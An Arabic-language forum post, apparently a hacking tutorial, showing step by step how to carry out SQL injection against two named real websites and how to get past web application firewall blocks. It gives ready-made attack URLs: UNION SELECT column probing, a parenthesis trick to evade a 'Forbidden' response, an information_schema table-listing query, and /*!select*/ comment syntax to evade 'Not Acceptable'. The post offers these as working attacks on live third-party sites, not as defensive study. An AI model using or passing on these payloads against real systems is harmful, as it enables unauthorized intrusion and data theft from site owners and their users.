لنبدء مع الفوربدن
مثلاً انا عندي هذا الموقع
كود PHP:
http://www.hannibalindustries.com/whatsnew/index.php?id=26
طبعاً اذا حطيتو الـ ' بعد المتغير اكيد راح يظهر خطأ
طيب خلينة نستعمل الامر Order By
انا جربت و طلع عندي 6
طيب نستعمل أمر Union Select
كود PHP:
http://www.hannibalindustries.com/whatsnew/index.php?id=-26+union+select+1,2,3,4,5,6--
Forbidden
طيب شون بنتخطاها ؟
في طريقة
انكم بتضيفو الاقواس على كود PHP:
union (select+1,2,3....) --
و بهذه الوضعية سوف يكون الرابط
كود PHP:
http://www.hannibalindustries.com/whatsnew/index.php?id=-26+union+%28select+1,2,3,4,5,6%29--
رجعت الصفحة مثل ما كانت\
العواميد المصابة : 2 و 3
و بهذا المكان عرفنا طريقة تخطي صفحة الفوربدن
=========================================
طيب الان طريقة تخطي الـNot Acceptaple
عندنا الموقع
كود PHP:
http://neoklimat.ru/pages.php?id=1
نحط الـ ' لتأكد انه مصاب
و بعدين أمر Order By
و بعدين الـ Union Select
و بالتالي راح يكون
كود PHP:
http://neoklimat.ru/pages.php?id=-1+union+select+1,2,3--
هذا ما فيه شي العواميد موجوده
اوكي حاولو تبدو الحقن :D12:
و انا بديت بهذه
كود PHP:
http://neoklimat.ru/pages.php?id=-1+union+select+1,table_name,3+from+information_sch ema.tables--
Not Acceptable
لووول
طلع نوت اكسيبت ابل
نستعمل الفلتر
كود PHP:
/*!select*/
